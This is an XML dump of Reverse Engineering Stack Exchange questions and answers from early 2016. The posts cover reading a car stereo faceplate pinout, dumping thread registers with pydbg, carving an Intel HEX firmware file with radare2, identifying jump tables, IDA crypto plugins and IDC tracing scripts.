  <row Id="11688" PostTypeId="1" AcceptedAnswerId="11690" CreationDate="2016-01-03T17:34:01.150" Score="2" ViewCount="746" Body="&lt;p&gt;I'd like to reverse engineer a car stereo front removable panel. It's a leftover from a broken car stereo. I'd like to do so by connecting the panel's 14 connections to Raspberry Pi 2 model B's GPIO pins and controlling the pins via a Python program. The idea is to be able to use the panel's display and buttons. The panel has an infrared receiver, so I may like to use that as well (if I manage to find the remote control).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mqwU2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mqwU2.jpg&quot; alt=&quot;car stereo panel front side&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9MMvm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9MMvm.jpg&quot; alt=&quot;car stereo panel back side&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The car stereo is LG LAC-M3600R CD/MP3 player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this doable? If it is, where should I begin? Any advice is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="14600" LastActivityDate="2016-01-03T19:08:08.683" Title="Reverse engineering car stereo panel" Tags="|hardware|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11690" PostTypeId="2" ParentId="11688" CreationDate="2016-01-03T19:08:08.683" Score="6" Body="&lt;p&gt;The first step is to figure out the purpose of each of those pins. The easiest way to do this is to Google for the LAC-M3600R's service manual (note that this is different from the user manual). That device's service manual contains the following diagram for the back of the faceplate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iPyQw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iPyQw.png&quot; alt=&quot;Pin diagram&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see above, the pins are (beginning from top-right, moving counter-clockwise):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1. GND&#xA; 2. KEY IN1&#xA; 3. KEY IN2&#xA; 4. LCD RES&#xA; 5. LCD DO&#xA; 6. LCD CLK&#xA; 7. GND&#xA; 8. LCD CE&#xA; 9. VDD&#xA; 10. LCD 9.4V&#xA; 11. LED 9.4V&#xA; 12. VR DN&#xA; 13. VR UP&#xA; 14. RMC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd likely then need to use an ohmmeter to &lt;a href=&quot;http://www.stevemeadedesigns.com/board/topic/113384-06-civic-build-new-build-list-on-page-60/page-91#entry1894626&quot; rel=&quot;nofollow noreferrer&quot;&gt;start measuring resistance, etc. for each pin&lt;/a&gt; and connect those pins to your Pi's GPIO pins (further questions in that arena would likely be better asked on &lt;a href=&quot;https://electronics.stackexchange.com/&quot;&gt;https://electronics.stackexchange.com/&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:33:10.963" LastActivityDate="2016-01-03T19:08:08.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11691" PostTypeId="2" ParentId="11684" CreationDate="2016-01-03T19:22:47.343" Score="0" Body="&lt;p&gt;&lt;strong&gt;:&gt;wmic process get Name,ThreadCount,ProcessId | grep fire&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;firefox.exe                3944       49&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;:&gt;cat dtregs.py&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from pydbg import *&#xA;from pydbg.defines import *&#xA;def handler_breakpoint (pydbg):&#xA;  if pydbg.first_breakpoint:&#xA;    print &quot;hello did i dump tid and eax for each thread ?&quot;&#xA;    return DBG_CONTINUE&#xA;dbg = pydbg()&#xA;dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)&#xA;dbg.attach(3944)&#xA;i = 0;&#xA;for thread_id in dbg.enumerate_threads():&#xA;  thread_handle  = dbg.open_thread(thread_id)&#xA;  context = dbg.get_thread_context(thread_handle)&#xA;  print &quot;%03d TID: %08x EAX: %08x&quot; % (i,thread_handle,context.Eax)&#xA;  i = i+1&#xA;pydbg.debug_event_loop(dbg)&#xA;dbg.detach()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;:&gt;python dtregs.py&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000 TID: 00000690 EAX: 00000000&#xA;001 TID: 0000068c EAX: 0158c385&#xA;002 TID: 00000688 EAX: 001b4008&#xA;003 TID: 00000684 EAX: 000000e5&#xA;004 TID: 00000680 EAX: 00000000&#xA;005 TID: 0000067c EAX: 001800a3&#xA;006 TID: 00000678 EAX: 00000000&#xA;007 TID: 00000674 EAX: 000000e5&#xA;...............................&#xA;048 TID: 000005d0 EAX: 77e76c7d&#xA;049 TID: 000005cc EAX: 00000000&#xA;hello did i dump tid and eax for each thread ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just to confirm if it is right to a certain degree lets attach windbg to pid&lt;br&gt;&#xA;&lt;strong&gt;:&gt;cdb -p 3944&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;0:049&gt; ~* e r eax&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax=09b6a201&#xA;eax=0158c385&#xA;eax=001b4008&#xA;eax=000000e5&#xA;eax=0036ee80&#xA;eax=00000171&#xA;eax=00000000&#xA;--------------&#xA;eax=098f3ec0&#xA;eax=000000e5&#xA;eax=150ff530&#xA;eax=11d5ff00&#xA;eax=111fff00&#xA;eax=77e76c7d&#xA;eax=7ffdd000&#xA;0:049&amp;gt; .detach&#xA;Detached&#xA;NoTarget&amp;gt; q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-01-03T19:22:47.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11692" PostTypeId="2" ParentId="11650" CreationDate="2016-01-03T20:47:29.867" Score="3" Body="&lt;p&gt;radare2 supports these ihex files directly &lt;/p&gt;&#xA;&#xA;&lt;p&gt;note the command in radare2 in my original answer uses switch -b32 &#xA;SYS_V commented that it should be -b16 and posted an answer with ample details how to proceed from the end of my answer to a tangible result here is the link to that thread &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15006/approach-to-extract-useful-information-from-binary-file&quot;&gt;how to find usefull info from a bin file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;ls -l&#xA;total 172&#xA;-rw-rw-rw-  1 Admin 0 172401 2016-01-01 00:44 SMOK_X_CUBE_II_firmware_v1.07.hex&#xA;&#xA;:\&amp;gt;rahash2 -a md5 SMOK_X_CUBE_II_firmware_v1.07.hex&#xA;SMOK_X_CUBE_II_firmware_v1.07.hex:0x00000000-0x0002a170 md5: 351660a42b846d19e35f54f75530e2d9&#xA;&#xA;:\&amp;gt;radare2 -A -a arm -b 32 ihex://SMOK_X_CUBE_II_firmware_v1.07.hex&#xA;Function too big at 0xa50e54&#xA;Function too big at 0xfe25a2ac&#xA;Function too big at 0x1648234&#xA;Function too big at 0x13ed738&#xA;[0x00000000]&amp;gt; s 0xc1&#xA;[0x000000c1]&amp;gt; pd 10&#xA;|          0x000000c1    4885460c       mcrreq p5, 4, r8, r6, c8&#xA;|          0x000000c5    f070fc00       ldrshteq r7, [ip], 0&#xA;|          0x000000c9    480047e9       stmdb r7, {r3, r6} ^&#xA;|          0x000000cd    1b0000e8       stmda r0, {r0, r1, r3, r4}&#xA;|          0x000000d1    0e002004       strteq r0, [r0], -0xe&#xA;|          0x000000d5    48804704       strbeq r8, [r7], -0x48&#xA;|          0x000000d9    480047fe       cdp2 p0, 4, c0, c7, c8, 2&#xA;|          0x000000dd    e7fee7fe       cdp2 p14, 0xe, c15, c7, c7, 7&#xA;|          0x000000e1    e7fee7fe       cdp2 p14, 0xe, c15, c7, c7, 7&#xA;|          0x000000e5    e7fee75d       stclpl p14, c15, [r7, 0x39c]!&#xA;[0x000000c1]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you were wondering how did radare2 get the 4885460c at address 0xxxxc1 &#xA;then read further&lt;/p&gt;&#xA;&#xA;&lt;p&gt;intel seems to have published the specs of ihex file format i got hold of one pdf from microsym named intelhex.pdf  dont know if any latest version are available this is my first brush with ihex or arm for that matter &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hexadecimal Object File Format Specification Revision A January 6, 1988&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;based on the description in the file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it seems each line in the ihex file starts with a &lt;kbd&gt;colon :&lt;/kbd&gt;&lt;br&gt;&#xA;followed by ONE BYTE     = record length&lt;br&gt;&#xA;followed by TWO BYTES    = offset to load&lt;br&gt;&#xA;followed by ONE BYTE     = Record Type&lt;br&gt;&#xA;Last BYTE in the line    = Checksum     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;each of the above are hexpairs ie BYTE E8 will be 0x45 0x38 in the file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3A 31 30 30 30 30 30 30 30 45 38 30 45 30 30 :10000000E80E00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the file consists of 3833 lines out of which 3830 lines have a record length of 0x10&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wc SMOK_X_CUBE_II_firmware_v1.07.hex&#xA;  3833   3833 172401 SMOK_X_CUBE_II_firmware_v1.07.hex&#xA;&#xA;grep -ivn :10 SMOK_X_CUBE_II_firmware_v1.07.hex&#xA;1::020000040000FA&#xA;3832::04000005000000C136&#xA;3833::00000001FF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dissecting the first line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;line1 data size   = 0x02 &#xA;load offset       = 0x0000&#xA;record type is    = 0x04  (extended linear address 32 bit format)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it stays as is until another record 04 is encountered lets check if the file contains another record 04&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;grep -in :......04 SMOK_X_CUBE_II_firmware_v1.07.hex&#xA;1::020000040000FA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;only one line&#xA;the last line 3833 denotes end of file &lt;code&gt;record type 0x01&lt;/code&gt;&lt;br&gt;&#xA;the last but one line denotes start linear address &lt;code&gt;record type 0x05&lt;/code&gt;  and EIP = 0xc1   checksum matches &lt;code&gt;(100 - (0xc1 + 0x05 + 0x04 ) ) == 0x36&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so that leaves 3830 lines as code data xx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;based on the above details we can carve the bytes    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;delete the &lt;code&gt;first , last . last but one&lt;/code&gt; lines from the input file&lt;br&gt;&#xA;&lt;code&gt;sed substitute&lt;/code&gt; the first nine characters and last two character and &lt;code&gt;rip off the line endings \r\n&lt;/code&gt; .      &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sed s/:........//g &amp;lt; in | sed s/..$//g | tr -d  &quot;\r\n&quot; &amp;gt; out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lets check out if sed magic worked  we should have 32 characters per line if it worked concatenated into one big string &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;wc out&#xA;     0      1 122560 out&#xA;&#xA;:\&amp;gt;set /a 32*3830&#xA;122560&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lets convert the hex pairs to binary &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax2 -s &amp;lt; out &amp;gt; bin &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this doesn't work as it should deliver us half the input size but it is higher than that also the inversion &lt;code&gt;rax2 -S &amp;lt; bin &amp;gt; is_original&lt;/code&gt;  doesn't get us the original input back &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to the developers of radare if you read this can you check if rax2 -s works properly in windows if input is file  it seems it suffers from unix / windows line ending quirks (windows seems to convert the binary 0x0A to 0x0d 0x0a when using the redirection operator &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;rax2 -s &amp;lt; out &amp;gt; bin&#xA;&#xA;:\&amp;gt;wc bin&#xA;  616  4126 61896 bin&#xA;&#xA;:\&amp;gt;set /a 61896 * 2&#xA;123792&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lets cook a python unhexlify &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat makebin.py&#xA;import binascii&#xA;fp = open(&quot;out&quot;,&quot;rb&quot;)&#xA;fo = open(&quot;bin&quot;,&quot;wb&quot;)&#xA;buff = fp.read()&#xA;fo.write(binascii.unhexlify(buff))&#xA;fp.close()&#xA;fo.close()&#xA;:\&amp;gt;python makebin.py&#xA;&#xA;:\&amp;gt;wc *&#xA;   616   4126  61280 bin&#xA;  3830   3830 172350 in&#xA;     6     14    139 makebin.py&#xA;     0      1 122560 out&#xA;   616   4126  61896 rax2bin&#xA;  5068  12097 418225 total&#xA;&#xA;:\&amp;gt;set /a 61280*2&#xA;122560&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;python seems to deliver us the correct bytes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;lets ask radare2 if the size 122560 is right &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000000c1]&amp;gt; if&#xA;file     ihex://SMOK_X_CUBE_II_firmware_v1.07.hex&#xA;fd       2357404&#xA;size     0xef60&#xA;blksz    0x0&#xA;mode     r--&#xA;block    0x100&#xA;format   any&#xA;&#xA;[0x000000c1]&amp;gt; !rax2 0xef60*2&#xA;122560&#xA;[0x000000c1]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it seems to agree lets xxd and look if we fished the right bytes at right offset &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 4 -l 32 -s 0xc1 bin&#xA;00000c1: 4885460c f070fc00 480047e9 1b0000e8  H.F..p..H.G.....&#xA;00000d1: 0e002004 48804704 480047fe e7fee7fe  .. .H.G.H.G.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it looks right now we can try and start understanding the mnemonics &#xA;(google doesn't seem to know much about mccreq i don't know arm so good-luck from here on &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-03-27T05:11:08.263" LastActivityDate="2017-03-27T05:11:08.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11694" PostTypeId="1" CreationDate="2016-01-04T04:14:59.213" Score="4" ViewCount="4749" Body="&lt;p&gt;Trying hex-editing to fix the date-time data in file which was generated while the computer system clock was wrong. Some tutorial will be helpful appreciated after my attempts so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[screen shot attached-- WRONG DATE-- surrounded in bold-red box]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YohPb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YohPb.jpg&quot; alt=&quot;Screenshot of incorrect dates in Hex Editor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My attempts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Changing the text by typing in the right characters:-- doesn't work, date turns into &quot;not available&quot; when file is opened with the OEM software.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deleting all boxed text and typing in the right date:-- file won't open at all using the OEM software.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14607" LastEditorUserId="14609" LastEditDate="2016-01-04T12:58:39.983" LastActivityDate="2019-12-08T03:03:15.433" Title="Finding, hex-editing date timestamp to correct it" Tags="|file-format|hex|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11695" PostTypeId="1" CreationDate="2016-01-04T18:53:42.683" Score="4" ViewCount="3129" Body="&lt;p&gt;I'm using a linear disassembler (beaEngine), and whenever I get to a jump table section, I get an error (or an incorrect decode since beaEngine mistakenly thinks it is code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I recognize this section as a jump table? What is the characteristic of a jump table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of a jump table which was found via a 3rd party application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:600F49CB                 dd offset loc_600F496E  &#xA;.text:600F49CB                 dd offset loc_600F4984  &#xA;.text:600F49CB                 dd offset loc_600F4979  &#xA;.text:600F49CB                 dd offset loc_600F4979  &#xA;.text:600F49CB                 dd offset loc_600F4984  &#xA;.text:600F49CB                 dd offset loc_600F499E   &#xA;.text:600F49CB                 dd offset loc_600F499E   &#xA;.text:600F49CB                 dd offset loc_600F498F   &#xA;.text:600F49CB                 dd offset loc_600F498F   &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to clarify and to answer a question raised in a comment: this executable does have a relocation table. beaEngine does not seem to use it, though, since I feed it a stream of bytes and not the whole binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use the relocation table to comprehend whether it's a jump table and calculate its length? For a single example I've checked, it does seem to work.&lt;/p&gt;&#xA;" OwnerUserId="14614" LastEditorUserId="10027" LastEditDate="2016-01-05T14:55:58.537" LastActivityDate="2016-01-06T22:38:21.977" Title="Identifying jump table of a switch statement" Tags="|disassemblers|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11696" PostTypeId="2" ParentId="11695" CreationDate="2016-01-05T09:37:08.280" Score="1" Body="&lt;p&gt;IMHO no easy way to do it. The best is to write smart disassembler so it will find and deduce the table size. For example one of the characteristic of a jump table code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;and eax, NUMBER_OF_CASES&#xA;jmp dword ptr ds:[eax*4 + switch_table_start_addr]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another quick and error-prone way might be to look for a row of DWORDs with min and max RVA range e.g. :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd IMAGEBASE+0x1000&#xA;dd IMAGEBASE+0xXXXX&#xA;dd IMAGEBASE+0xYYYY&#xA;dd IMAGEBASE+0xFFFF&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this will probably find more data not related to switch table, especially in large applications.&lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2016-01-05T09:37:08.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11697" PostTypeId="2" ParentId="11695" CreationDate="2016-01-05T11:56:15.447" Score="0" Body="&lt;p&gt;well.. i did find that indeed a jmp as you stated indicates a jump table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so what i do now is&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;looking for those jumps &lt;/li&gt;&#xA;&lt;li&gt;parsing the prior opcodes and looking for &quot;cmp&quot; which indicates the &quot;default&quot; part in a switch statement (and so, indicates the size of the jump table, since it is the number of cases * 4 (on 32 bit)).&lt;/li&gt;&#xA;&lt;li&gt;calculating the start address and end address of the jump table.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;now i have a different problem though..&#xA;what i've described usually suits for contiguous values for the switch (lets say 1-10). but when it is not contiguous, than the compiler creates an &quot;indirect table for switch statement&quot; which looks a bit different, and i don't know how to calculate its size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas? isn't there a standard for those things? how can i tell whether i've covered all the options of a jump table?&lt;/p&gt;&#xA;" OwnerUserId="14616" LastActivityDate="2016-01-05T11:56:15.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11698" PostTypeId="2" ParentId="11681" CreationDate="2016-01-05T13:25:06.293" Score="3" Body="&lt;p&gt;Hello o/ this is the radare1book concerning radare1, use the &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/&quot; rel=&quot;nofollow&quot;&gt;radare2book&lt;/a&gt; for radare2. Boomerang hasn't been yet added to r2 in this version, you can use &lt;code&gt;pdc&lt;/code&gt; and &lt;a href=&quot;https://asciinema.org/a/20904&quot; rel=&quot;nofollow&quot;&gt;retdec&lt;/a&gt; (see r2pm). We are actually working on &lt;a href=&quot;https://github.com/radare/radeco&quot; rel=&quot;nofollow&quot;&gt;radeco&lt;/a&gt;. But you can always contribute and maybe add back this support to r2 ? That would be interesting&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2016-01-05T13:25:06.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11699" PostTypeId="2" ParentId="11695" CreationDate="2016-01-05T14:41:11.950" Score="2" Body="&lt;p&gt;Jump tables stand out in relocation tables because they are arrays of tightly packed code addresses whereas 'normal' code references are much more spaced out, with opcodes or other data between. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, vtables (virtual function tables for C++ style objects) and function tables (for C-style objects, heavily used in some libraries) look almost exactly the same as jump tables when viewed through the lens of relocations. The difference is that the latter two types of 'code address arrays' contain function addresses whereas jump table entries usually point &lt;strong&gt;into&lt;/strong&gt; functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is difficult to analyse jump tables without analysing the code that references them. This means that the info gleaned from the relocation tables is more suited for auxiliary duties in this case, like telling you about potential jump tables that your disassembler might have missed, rather than for primary analysis.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2016-01-05T14:41:11.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11701" PostTypeId="1" CreationDate="2016-01-05T21:54:33.947" Score="3" ViewCount="4310" Body="&lt;p&gt;I stumbled upon findcrypt2 but it seems not to work anymore. Is there a new version of findcryp2 anywhere or are there similar plugins which are able to identify different crypto algorithms by checking specific constants etc.?&lt;/p&gt;&#xA;" OwnerUserId="1345" LastActivityDate="2016-01-08T17:24:57.237" Title="Which plugin for identifying crypto algorithms in IDA Pro 6.9?" Tags="|ida|ida-plugin|cryptography|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11702" PostTypeId="1" CreationDate="2016-01-06T04:19:47.237" Score="0" ViewCount="2645" Body="&lt;p&gt;I want to extract a chunk of text available in an android app. &#xA;I disassembled the APK and found a .DAT file which seems to carry the text I'm looking for (the file was inside the directory res/raw/).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have an idea of how to decompile this .DAT file and extract the text?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One tip: Judging from the many .java files in the extracted APK, it's safe to assume we are dealing with JAVA here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the file I am trying to decompile: &lt;a href=&quot;https://www.dropbox.com/s/04pgp6ettuiyj6u/genesis_1.dat?dl=1&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/04pgp6ettuiyj6u/genesis_1.dat?dl=1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14621" LastActivityDate="2016-01-06T05:23:37.310" Title="Extracting a .DAT file" Tags="|android|java|decompile|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11703" PostTypeId="2" ParentId="11702" CreationDate="2016-01-06T05:23:37.310" Score="1" Body="&lt;p&gt;According to the output of the &lt;code&gt;file&lt;/code&gt; utility it is  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Java serialization data, version 5&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which allegedly can be unpacked with &lt;a href=&quot;https://code.google.com/p/jdeserialize/&quot; rel=&quot;nofollow&quot;&gt;jdeserialize-like&lt;/a&gt;&#xA;utilities.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-01-06T05:23:37.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11704" PostTypeId="2" ParentId="11701" CreationDate="2016-01-06T07:27:40.790" Score="1" Body="&lt;p&gt;I was going to recommend &lt;a href=&quot;https://bitbucket.org/daniel_plohmann/simplifire.idascope&quot; rel=&quot;nofollow&quot;&gt;IDAScope&lt;/a&gt; but it is broken in 6.9 as well. &#xA;PySide has been dropped by IDA in favor of PyQT in 6.9. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &#xA;Thanks to Daniel Plohmann, the plugin now supports IDA 6.9. &#xA;You can see the fixed code here: &lt;a href=&quot;https://bitbucket.org/daniel_plohmann/simplifire.idascope/commits/2fdeed1644ed39b81bf7b27d2cc33f8318787875&quot; rel=&quot;nofollow&quot;&gt;committed 2fdeed1&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="11834" LastEditorUserId="11834" LastEditDate="2016-01-08T17:24:57.237" LastActivityDate="2016-01-08T17:24:57.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11705" PostTypeId="2" ParentId="11701" CreationDate="2016-01-06T08:59:15.853" Score="3" Body="&lt;p&gt;Try &lt;a href=&quot;http://www.macromonkey.com/ida-signsrch-released/&quot; rel=&quot;nofollow&quot;&gt;IDAsignsrch&lt;/a&gt;, or the original &lt;a href=&quot;http://aluigi.altervista.org/mytoolz.htm&quot; rel=&quot;nofollow&quot;&gt;commandline version&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-01-06T08:59:15.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11707" PostTypeId="1" AcceptedAnswerId="11708" CreationDate="2016-01-06T17:41:16.350" Score="1" ViewCount="3137" Body="&lt;p&gt;I use the following script to set IDA in trace mode and make it stop as soon as EAX register is set to a given value :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;&#xA;static main()&#xA;{&#xA;    auto r_eip, code, eax;&#xA;&#xA;    EnableTracing(TRACE_STEP, 1);&#xA;&#xA;    for ( code = GetDebuggerEvent(WFNE_ANY|WFNE_CONT, -1); // resume&#xA;        code &amp;gt; 0;&#xA;        code = GetDebuggerEvent(WFNE_ANY, -1) )&#xA;    {                  &#xA;        r_eip = GetEventEa();&#xA;&#xA;        eax = GetRegValue(&quot;EAX&quot;);&#xA;        Message(&quot;EAX:%08Xh\n&quot;, eax);&#xA;&#xA;        if ( eax == 0x00000001 )&#xA;            break;&#xA;    }&#xA;&#xA;    PauseProcess();&#xA;    EnableTracing(TRACE_STEP, 0);    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it does not work : i get the following error message : &quot;Variable 'EAX' is undefined&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i put the line with &lt;code&gt;eax = GetRegValue(...)&lt;/code&gt; in comment, in run but then eax is always zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is adapted from here :&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/debugger/scriptable.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/debugger/scriptable.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14570" LastActivityDate="2016-01-06T20:58:46.087" Title="How to stop IDA debugger when a register is set to a particular value?" Tags="|ida|ida-plugin|breakpoint|register|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11708" PostTypeId="2" ParentId="11707" CreationDate="2016-01-06T20:58:46.087" Score="3" Body="&lt;p&gt;You can use the following IDC script for the purpose. It would stop whenever register &lt;code&gt;eax&lt;/code&gt; contains 0. The debugger must be running when the script is executed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;&#xA;static main()&#xA;{&#xA;    for(;;)&#xA;    {&#xA;        StepInto();&#xA;        if (GetDebuggerEvent(WFNE_SUSP, -1) == STEP)&#xA;        {&#xA;            if (eax == 0) &#xA;            {&#xA;                break;&#xA;            }&#xA;        }        &#xA;    }&#xA;    PauseProcess();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2016-01-06T20:58:46.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
